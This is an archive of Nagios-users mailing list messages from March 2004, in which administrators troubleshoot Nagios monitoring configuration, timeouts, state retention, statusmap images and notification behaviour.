I'm a .signature virus! Copy me into your ~/.signature, please! -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD4DBQFAYbxUURTA4VCI9OARAimxAJizBpQN/UuzA9ZaNt5if5GRbD7KAJwIe3Aa caEsToXBAE+ILdbPPtdGVw== =2m22 -----END PGP SIGNATURE----- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From goddamnit at jen-uine.com Wed Mar 24 18:11:57 2004 From: goddamnit at jen-uine.com (jschmoe) Date: Wed, 24 Mar 2004 11:11:57 -0600 (CST) Subject: 1.2 BUG with state retention? Message-ID: <1202.64.208.99.155.1080148317.squirrel@secure.locehilios.com> I just upgraded from 1.1 Previously I had program state retention enabled, and it was working fine. Now it seems broke with 1.2. Here's the configuration: retain_state_information=1 state_retention_file=/var/log/nagios/status.sav retention_update_interval=60 use_retained_program_state=1 accept_passive_service_checks=1 execute_service_checks=1 enable_notifications=0 enable_event_handlers=1 And here's the scenario: Currently nagios is running and its current settings are: OFF Flap Detection OFF Notifications ON Event Handlers ON Active Checks ON Passive Checks saves its program state in status.sav as: PROGRAM: 0;1;1;1;1;0;1;0 Then, through the CGI, I turn off Active Checks. After the CGI indicates that Active checks are indeed disabled, restart nagios. At that point nagios writes the status.sav info as: PROGRAM: 0;1;0;1;1;0;1;0 Then when it restarts, for some reason Active Checks are ON! and Passive Checks are OFF! Then, if I don't change anything, and just restart nagios again, it writes out its status as: PROGRAM: 0;0;1;1;1;0;1;0 And when it restarts Active Checks are OFF, and Passive Checks are ON. Has anyone else noticed this screwy behavior? ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Wed Mar 24 18:29:57 2004 From: marc at ena.com (Marc Powell) Date: Wed, 24 Mar 2004 11:29:57 -0600 Subject: Last ditch effort Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A37F@mismail2.ena.com> On Wednesday, March 24, 2004 10:22 AM, Aaron Levitt shared with us: > I have recently upgraded to nagios 1.1 from an older release of > netsaint after a long time of faithful service. Since the upgrade, > we have been getting some random timeouts, with an average of 1 or 2 > a day. All the information I really have to go on, is the output > from nagios. The mail contains "Info: CRITICAL - Plugin timed out > after 10 seconds". The logs have the same information, but nothing > more helpful. I'm not sure where it's getting the 10 seconds from. > Initially I thought it was nrpe timing out, but it seems to be random > services and hosts as well. Besides the global timeout values, each plugin usually supports it's own unique timeout, typically specified with the -t command line option. If no -t option is specified, most plugins automatically default to 10 seconds. Run your favorite plugin with --help for options and timeouts specific to that plugin. One or two timeouts a day really is minimal and could easily be explained by transient network problems. That's why you specify retries to verify the state. Not having any information about the topology of your network and the location of hosts relative to Nagios, it's really hard to provide any insight. I can say that if you're checking hosts on the other end of an ISDN line you're more likely to have timeouts compared to a host on the local lan. One thing to make sure of, and it's often a problem, is to make sure that you have speed and duplex hardcoded on all machines and switches that they connect to. Auto-negotiation is unreliable in many cases. If you're checking hosts over a WAN, are there capacity issues at certain times of the day? Are there any interface errors anywhere in the path between your Nagios host and the devices you are monitoring? Is the host you're checking simply slow to respond due to load or other issues (i.e. reverse DNS lookups?) > So far, I have changed max_concurrent_checks and various timeout > values in nagios.cfg. As well as changing max_check_attempts and > normal_check_interval to make sure there wasn't too much going on at > the same time (which really shouldn't matter since nagios is only > monitoring about 60 hosts). I poked through the source code but > couldn't find anything with a 10 second timeout. Have you tried running /path/to/nagios -v /path/to/nagios.cfg to get a recommended value for max_concurrent_checks? That will be variable depending on your normal_check_interval, total hosts and services and other variables. Also, the number of services you're checking is a far more important number than the the number of hosts you're checking, since nagios never checks hosts unless a service on that host fails. If you did a full suite of service checks on a host that could equate to 500+ service checks. I do believe that if you're only monitoring 2 or three quick to finish service checks on 60 hosts at 3-5 minute intervals then max_concurrent_checks will probably be very low and not much of a factor. > > Currently nagios is running on it's own box, no other services are > running on it. It's a 2.4.20 kernel on Redhat 9 and the hardware is > a PIII 800Mhz and it's got 384Mb of RAM. Nothing very special, but > that should be enough I would think. Yes, should be fine. I'm doing 1000+ service checks at 5 minute intervals with similar hardware. Are you using state retention? How often are you saving state? If it's very often you could be getting into a state where nagios is spending more time writing the status.sav file than processing checks (not likely though unless it's every 10 seconds or so in your case). -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jeff.vier at tradingtechnologies.com Wed Mar 24 19:23:45 2004 From: jeff.vier at tradingtechnologies.com (jeff vier) Date: Wed, 24 Mar 2004 12:23:45 -0600 Subject: Last ditch effort In-Reply-To: <7473201406D1FE4CBAD4096D6BD1E921F277EB@hqexch01.hq.navis.net> References: <7473201406D1FE4CBAD4096D6BD1E921F277EB@hqexch01.hq.navis.net> Message-ID: <1080152625.27687.104.camel@localhost> On Wed, 2004-03-24 at 10:21, Aaron Levitt wrote: > I have recently upgraded to nagios 1.1 from an older release of netsaint Why not upgrade to a not-old version? ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pla at softflare.com Wed Mar 24 19:36:09 2004 From: pla at softflare.com (Paul L. Allen) Date: Wed, 24 Mar 2004 18:36:09 +0000 Subject: Service Configuration Question In-Reply-To: References: <4061474D.9070908@op5.se> <000801c41183$0421abc0$02dd1fac@cc.local> <20040324074223.210e86f7.karl@debisschop.net> Message-ID: <20040324183609.7754.qmail@minnow.softflare.net> Michael Eck writes: > I'd like to configure Nagios to only perform a host check on state > UNKNOWN for this particular service. It doesn't seem like this is > possible though. With software, anything is possible. The only questions are how much effort is involved in modifying it, how badly the modifications affect performance and are the modifications so klugey that you have to hold your nose while you make them. Obviously you could get what you want by modifying the source. However, it might be possible to fiddle things without having to hack the source around. I've not checked this idea too closely, so you may have to tweak it somewhat or there may be an unsurmountable obstacle I've overlooked. Set nagios to obsess, just as though it were going to be used to also submit passive checks to another Nagios host. In misccommands.cfg, define a submit_check_result command, just as if you were actually going to submit passive checks to another machine, but the shell/perl script it calls doesn't actually call NSCA, it does something sneaky. Define a special check_host_if_unknown command in checkcommands.cfg which calls another shell/perl script. In hosts.cfg, change the check_command to check_host_if_unknown for the appropriate hosts. The trick is that your submit_check_result shell/perl script sets a flag of some sort - I'd use touch to create a file with the same name as the host if the service state is unknown and delete it otherwise (if I understood what you're trying to do correctly). Your check_host_if_unknown shell/perl script checks for the presence or absence of the file corresponding to the host and either does a ping test or returns an OK as appropriate. Fairly simple to do and no modification of source involved. Probably won't seriously impact performance. Up to you whether you need nose plugs or not when you implement it. -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pla at softflare.com Wed Mar 24 19:46:49 2004 From: pla at softflare.com (Paul L. Allen) Date: Wed, 24 Mar 2004 18:46:49 +0000 Subject: Service Configuration Question In-Reply-To: <001501c411a9$713943a0$02dd1fac@cc.local> References: <001501c411a9$713943a0$02dd1fac@cc.local> Message-ID: <20040324184649.12311.qmail@minnow.softflare.net> joerg.helmert at aracomp.de writes: > This is true, but you need additional service checks for this. Yes and no. If everything is OK you know the transport is working. If everything is critical you don't know if the transport has died or if the machine itself has died. If you have a mix and at least one OK is more recent than the criticals, you know the transport is working. > Maybe ssh is not the best example, cause it might be needed for some > other production work, not only for monitoring. All the machines we monitor are remotely located. We DO need SSH. However, I've found that anything that kills SSH connections usually kills the whole box. The usual reason for this happening is somebody forgetting to correct the broken logrotate configuration for mailman on Red Hat 7.3 and eventually it fork-bombs the machine trying to rotate zillions of misnamed mailman logs so sshd can't fork a shell for you. > Of course, if I run 20 or so checks by snmp against one host, it might be > wise to implement a check if snmp is up itself. If you're running 20 or so checks you'll know if snmp is OK if one of the checks returns an OK. If none of them do then the machine could be down or snmp could be down and there's no way of telling which is the problem. > That way making one able to make all the "checks by snmp" dependent on > that "check of snmp". Would give 1 notification instead of 20 if snmpd > dies... But it could really be that the machine itself is dead and so you're suppressing notifications that might actually be true. > The conclusion is, that it is enough to send an unknown state and that > what _I_ wanted to achieve can be done with that. So everyone is happy with the status quo now. -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pla at softflare.com Wed Mar 24 19:59:54 2004 From: pla at softflare.com (Paul L. Allen) Date: Wed, 24 Mar 2004 18:59:54 +0000 Subject: statusmap, weird problem In-Reply-To: <1080125876.7208.1.camel@rento.seclan.com> References: <1080125876.7208.1.camel@rento.seclan.com> Message-ID: <20040324185954.15010.qmail@minnow.softflare.net> Mikko Kaipila writes: > But, but. Still there are no images in the statusmap area (gd2_images); > Only icon_images are displayed well.(which proves, that images are > locating in right place) The GD2 file format sometimes changes between different versions of the GD libraries. If you got the images from elsewhere, this may well be your problem. Assuming your GD is relatively recent, use pngtogd2 image.png image.gd2 0 1 to generate GD2 images on the machine which runs Nagios. Change the 1 to a 2 if you want compressed images (not recommended because you gain a tiny bit of disk space and burn a lot of CPU). -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From nagios at sbtt.net Wed Mar 24 20:01:34 2004 From: nagios at sbtt.net (Steve) Date: Wed, 24 Mar 2004 14:01:34 -0500 Subject: snmp timeticks Message-ID: <4061DB0E.6080303@sbtt.net> has anybody ran into a way to convert timeticks to a % value for a check_snmp command or am I stuck doing a convert in my head every time? UCD-SNMP-MIB::ssCpuRawUser.0 = Counter32: 82643 thanks -s ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From benny at bennyvision.com Wed Mar 24 20:02:56 2004 From: benny at bennyvision.com (C. Bensend) Date: Wed, 24 Mar 2004 13:02:56 -0600 (CST) Subject: Last ditch effort In-Reply-To: <7473201406D1FE4CBAD4096D6BD1E921F277EB@hqexch01.hq.navis.net> References: <7473201406D1FE4CBAD4096D6BD1E921F277EB@hqexch01.hq.navis.net> Message-ID: <4175.134.244.169.17.1080154998.squirrel@webmail.stinkweasel.net> > So far, I have changed max_concurrent_checks and various timeout values > in nagios.cfg. As well as changing max_check_attempts and > normal_check_interval to make sure there wasn't too much going on at the > same time (which really shouldn't matter since nagios is only monitoring > about 60 hosts). I poked through the source code but couldn't find > anything with a 10 second timeout. Search the mailing list archives for 'timeout' or something similar - I have answered this question several times, as have many others. Hint - the ten second thing is hard-coded in a '.h' file. Benny -- "Ohhh, it's like I'm walking on a pile of baby ducks!" -- Red, "That 70's Show" ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From mikko.kaipila at nic.fi Wed Mar 24 20:28:04 2004 From: mikko.kaipila at nic.fi (Mikko Kaipila) Date: 24 Mar 2004 21:28:04 +0200 Subject: statusmap, weird problem In-Reply-To: <20040324185954.15010.qmail@minnow.softflare.net> References: <1080125876.7208.1.camel@rento.seclan.com> <20040324185954.15010.qmail@minnow.softflare.net> Message-ID: <1080156484.2833.14.camel@rento.seclan.com> On Wed, 2004-03-24 at 20:59, Paul L. Allen wrote: > > The GD2 file format sometimes changes between different versions of the > GD libraries. If you got the images from elsewhere, this may well be > your problem. Assuming your GD is relatively recent, use > > pngtogd2 image.png image.gd2 0 1 > > to generate GD2 images on the machine which runs Nagios. Change the 1 to > a 2 if you want compressed images (not recommended because you gain a > tiny bit of disk space and burn a lot of CPU). Not helps. But that helped a little bit. I can't see gd2 images anywhere under nagios web-interface. Only jpeg and png images are displayd by nagios. But those (jpeg & png) arent displayed in the statusmap area however. (only if you point the cursor near some host...you can see of course the alt/icon_images.) More suggestions? ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From mgaskin at jsi-corp.com Wed Mar 24 20:35:13 2004 From: mgaskin at jsi-corp.com (Michael Gaskin) Date: Wed, 24 Mar 2004 11:35:13 -0800 Subject: Fwd: Services Message-ID: I wonder if my question below met the criteria of "read the manual idiot..." :) Just looking for some reason why I am getting strange results. Thanks. >>> "Michael Gaskin" 3/23/2004 3:57:06 PM >>> Hi all... I am getting: (removed date/time) DS Open OK Directory Services Database is open (DS version 10410.98) PING OK - Packet loss = 0%, RTA = 0.17 ms Free - SYS CRITICAL 3/3 Connection refused by host Free - APPS OK 1/3 54876 MB (94%) free on volume APPS Processor Utilization - 15 Minutes CRITICAL 3/3 Connection refused by host -=-=-=-=-= Question... Why would some services show a connection refused while the others work? Here's the services file: ## CBSRV002 define service{ use generic-service host_name cbsrv002 service_description PING is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 5 retry_check_interval 1 contact_groups novell-admins notification_interval 120 notification_period 24x7 notification_options c,r check_command check_ping!100.0,20%!500.0,60% } define service{ use generic-service host_name cbsrv002 service_description DS Open is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 5 retry_check_interval 1 contact_groups novell-admins notification_interval 240 notification_period 24x7 notification_options c,r check_command check_nwstat!DSDB } define service{ use generic-service host_name cbsrv002 service_description Processor Utilization - 15 Minutes is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 5 retry_check_interval 1 contact_groups novell-admins notification_interval 240 notification_period 24x7 notification_options c,r check_command check_load15!50!80 } define service{ use generic-service host_name cbsrv002 service_description Percent Free - SYS is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 5 retry_check_interval 1 contact_groups novell-admins notification_interval 240 notification_period 24x7 notification_options c,r check_command check_percent_used_sys!10!5 } define service{ use generic-service host_name cbsrv002 service_description Precent Free - APPS is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 5 retry_check_interval 1 contact_groups novell-admins notification_interval 240 notification_period 24x7 notification_options c,r check_command check_percent_used_apps!10!5 } -=-=-=- Here's the checkcommand text for the check_percent_used: define command{ command_name check_percent_used_sys command_line $USER1$/check_nwstat -H $HOSTNAME$ -v VPFSYS -w $ARG1$ -c $ARG2$ } define command{ command_name check_percent_used_apps command_line $USER1$/check_nwstat -H $HOSTNAME$ -v VPFAPPS -w $ARG1$ -c $ARG2A } *=-=- By the way, the two above check commands work on other servers... As well as the services listed... I've got 17 servers configured with nearly the same text... (except for server name)... Any clues would be appreciated. Take Care... ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Wed Mar 24 20:58:54 2004 From: marc at ena.com (Marc Powell) Date: Wed, 24 Mar 2004 13:58:54 -0600 Subject: Services Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A384@mismail2.ena.com> On Wednesday, March 24, 2004 1:35 PM, Michael Gaskin shared with us: > I wonder if my question below met the criteria of "read the manual > idiot..." :) Just looking for some reason why I am getting strange > results. > > Thanks. > > > > > "Michael Gaskin" 3/23/2004 3:57:06 PM > > > > >>> Hi all... > > I am getting: (removed date/time) > > DS Open OK Directory Services Database is open (DS version 10410.98) > PING OK - Packet loss = 0%, RTA = 0.17 ms Free - SYS CRITICAL 3/3 > Connection refused by host Free - APPS OK 1/3 54876 MB (94%) free on > volume APPS Processor Utilization - 15 Minutes CRITICAL 3/3 > Connection refused by host > > -=-=-=-=-= > > Question... Why would some services show a connection refused while > the others work? Here's the services file: > It's not likely in this case but it is a suggestion: do you happen to have multiple copies of nagios running? Intermittent and otherwise inexplicable behavior is a common symptom. Perhaps the previous copy is using some old check command and updating the status file with that outdated information. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From nagios at sbtt.net Wed Mar 24 21:22:48 2004 From: nagios at sbtt.net (Steve) Date: Wed, 24 Mar 2004 15:22:48 -0500 Subject: snmp timeticks In-Reply-To: <4061DB0E.6080303@sbtt.net> References: <4061DB0E.6080303@sbtt.net> Message-ID: <4061EE18.2050202@sbtt.net> one of those days I'm gonna use laLoadInt instead to monitor the CPU load. -s Steve wrote: > has anybody ran into a way to convert timeticks to a % value for a > check_snmp command or am I stuck doing a convert in my head every time? > > UCD-SNMP-MIB::ssCpuRawUser.0 = Counter32: 82643 > > thanks > > -s > > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. ::: Messages without supporting info will risk > being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From matt.pounsett at cira.ca Wed Mar 24 23:24:27 2004 From: matt.pounsett at cira.ca (Matt Pounsett) Date: Wed, 24 Mar 2004 17:24:27 -0500 (EST) Subject: check_by_ssh question In-Reply-To: <4060C307.30702@op5.se> References: <4060C307.30702@op5.se> Message-ID: On Wed, 24 Mar 2004, Andreas Ericsson wrote: > If you get hacked someplace, you're network is dead and there's nothing > you can do about it. Well.. assuming it was all intelligently configured, this is overstating things significantly. It's quite easy to limit one's passwordless ssh keys to ONLY run certain commands, and to prevent the invocation of shells and so forth, thus preventing those keys from being used to invade other machines. -- Matt Pounsett CIRA - Canadian Internet Registration Authority Technical Support Programmer 350 Sparks Street, Suite 1110 matt.pounsett at cira.ca Ottawa, Ontario, Canada 613.237.5335 ext. 231 http://www.cira.ca ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jws at lindy.stanford.edu Wed Mar 24 23:54:20 2004 From: jws at lindy.stanford.edu (Jim Stosick) Date: Wed, 24 Mar 2004 14:54:20 -0800 Subject: Host check notification problem Message-ID: <4062119C.F153065@lindy.stanford.edu> I'm using Nagios 1.2 on Solaris 8, and host check notifications appear to not be repeating. If a host goes down a notification is generated, and another notification is generated when the host comes back up. No repeat notifications are generated while the host is down, even though the down time is much longer than the notification interval. A network trace confirms that service and host checks are being done every minute as specified in the configuration. Nagios behaves as if 'notification_interval 0' was specified in the host definition, though this is not the case. The nagios log shows the initial notification when the server first fails the host check, and shows the notification sent after the host comes back up. There are no other notification attempts listed in the log. The hostescalation feature also does not work, probably because notifications are not being repeated. Service check notifications do repeat while a service is down, and service notification escalations work correctly. I see other messages about this problem in the list archives. Can anyone confirm an installation where host check notifications are repeated and escalations are working correctly? ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pla at softflare.com Thu Mar 25 00:53:37 2004 From: pla at softflare.com (Paul L. Allen) Date: Wed, 24 Mar 2004 23:53:37 +0000 Subject: statusmap, weird problem In-Reply-To: <1080156484.2833.14.camel@rento.seclan.com> References: <1080125876.7208.1.camel@rento.seclan.com> <20040324185954.15010.qmail@minnow.softflare.net> <1080156484.2833.14.camel@rento.seclan.com> Message-ID: <20040324235338.15286.qmail@minnow.softflare.net> Mikko Kaipila writes: > Not helps. But that helped a little bit. Does that mean you tried my suggestion and it didn't fix things? > I can't see gd2 images anywhere under nagios web-interface. Only jpeg > and png images are displayd by nagios. The only two possibilities I know of are either that the CGIs didn't find the GD library when you built them or that you're using images built using a different version of GD which have an incompatible file format. You can use ldd to double-check that the CGIs did pick up the shareable GD library. -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pla at softflare.com Thu Mar 25 01:10:44 2004 From: pla at softflare.com (Paul L. Allen) Date: Thu, 25 Mar 2004 00:10:44 +0000 Subject: Service Configuration Question In-Reply-To: <20040324183609.7754.qmail@minnow.softflare.net> References: <4061474D.9070908@op5.se> <000801c41183$0421abc0$02dd1fac@cc.local> <20040324074223.210e86f7.karl@debisschop.net> <20040324183609.7754.qmail@minnow.softflare.net> Message-ID: <20040325001044.20332.qmail@minnow.softflare.net> I had the feeling there was something I'd missed. I've now figured out what it was. Paul L. Allen writes: > The trick is that your submit_check_result shell/perl script sets a > flag of some sort - I'd use touch to create a file with the same name > as the host if the service state is unknown and delete it otherwise (if > I understood what you're trying to do correctly). That's only going to work if you monitor only a single service on that host. You need a more complex scheme if you're monitoring multiple services because more than one of them could change from an unknown state to one of the other states. You could use a database, but then you'd have the overhead of opening a database connection for each invocation (unless you wrote a daemon that kept the connection open and took commands from a named pipe or Unix socket). Hmmm, it's getting late so there's probably several flaws in this idea. Create a directory for each host (otherwise with a lot of hosts and a lot of services you're going to end up with so many files that directory listings take forever. In the directory are zero-length files called OK, WARNING, CRITICAL and UNKNOWN. When the submit_check_result script gets called for service X on host Y it removes the file X in directory Y (if it exists) then creates a hard link for file X in directory Y to one of OK, WARNING or CRITICAL, depending on the status of the check. The check_alive_if_unknown script then stats Y/UNKNOWN and if there's more than one hard link it checks if the host is alive. In your situtation, you only need the UNKNOWN file and can remove service files when the service goes from unknown to another state. I mention the other files merely for completeness for those who want to extend the idea. -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From shirley at origamipartners.com Thu Mar 25 01:36:54 2004 From: shirley at origamipartners.com (Shirley) Date: Wed, 24 Mar 2004 16:36:54 -0800 (PST) Subject: multiple timeperiods, same service check Message-ID: i'm sure this question has been asked before, but the mail archives are down, apologies for the repetition scenario: i want to use timeperiods, contactgroups and templates together to have the notification & check behavior of a particular hosts' service change according to time. for example...if i'm watching load on a solaris machine, and i want to get paged immediately during the day, but less frequently at night - although it's still a problem i'd like to know about at night, but not if it's only a minor blip; i'd rather not have to wake up over something like that. (and hopefully i'd be monitoring more specific things to otherwise let me know the health of the box). so i want paging to be immediate during certain hours, but more calm during others, with email notification on all the time so here are sample definitions: (timeperiods) define timeperiod { timeperiod_name workhrs alias "normal avail" hours monday 8:00-23:00 tuesday 8:00-23:00 wednesday 8:00-23:00 thursday 8:00-23:00 friday 8:00-23:00 } define timeperiod { timeperiod_name afterhrs alias we should be asleep monday 23:00-08:00 tuesday 23:00-08:00 wednesday 23:00-08:00 thursday 23:00-08:00 friday 23:00-08:00 } (service template) define service { name service_workhrs service_description service template workhrs check_period workhrs notification_period workhrs max_check_attempts 3 normal_check_interval 5 retry_check_interval 1 notification interval 30 notification_options r,c,w register 0 } define service { name service_afterhrs service_description service template afterhrs, check_period afterhrs notification_period afterhrs max_check_attempts 5 normal_check_interval 10 retry_check_interval 2 notification interval 30 notification_options r,c,w register 0 } (service definition) define service { host_name host1 service_description HTTP use service_workhrs contact_group sys-admin,email check_command check_http } define service { host_name host1 service_description HTTP after hours use service_afterhrs contact_group sys-admin,email check_command check_http } assume contactgroup sys-admin pages oncall and group email sends emails to all so if i wanted to reproduce every check to corresspond with timeperiods, i'd run into this problem: say HTTP goes down @ 3pm and i acknowledge the critical. and then we see the sucker's gonna stay broken a while. the problem will be that @ 11pm, "HTTP after hours" will try to check http and fail and page out its notification. i was trying to come up with various scenarious to get around this, via dependencies, relationship btwn checks, but it's ugly if its possible at all. so i figured it's either an easy way to do this or else timeperiods are not meant to be used in such a complicated manner. because what i'm left with is creating sys-admin-page to page, and sys-admin-email to only email, 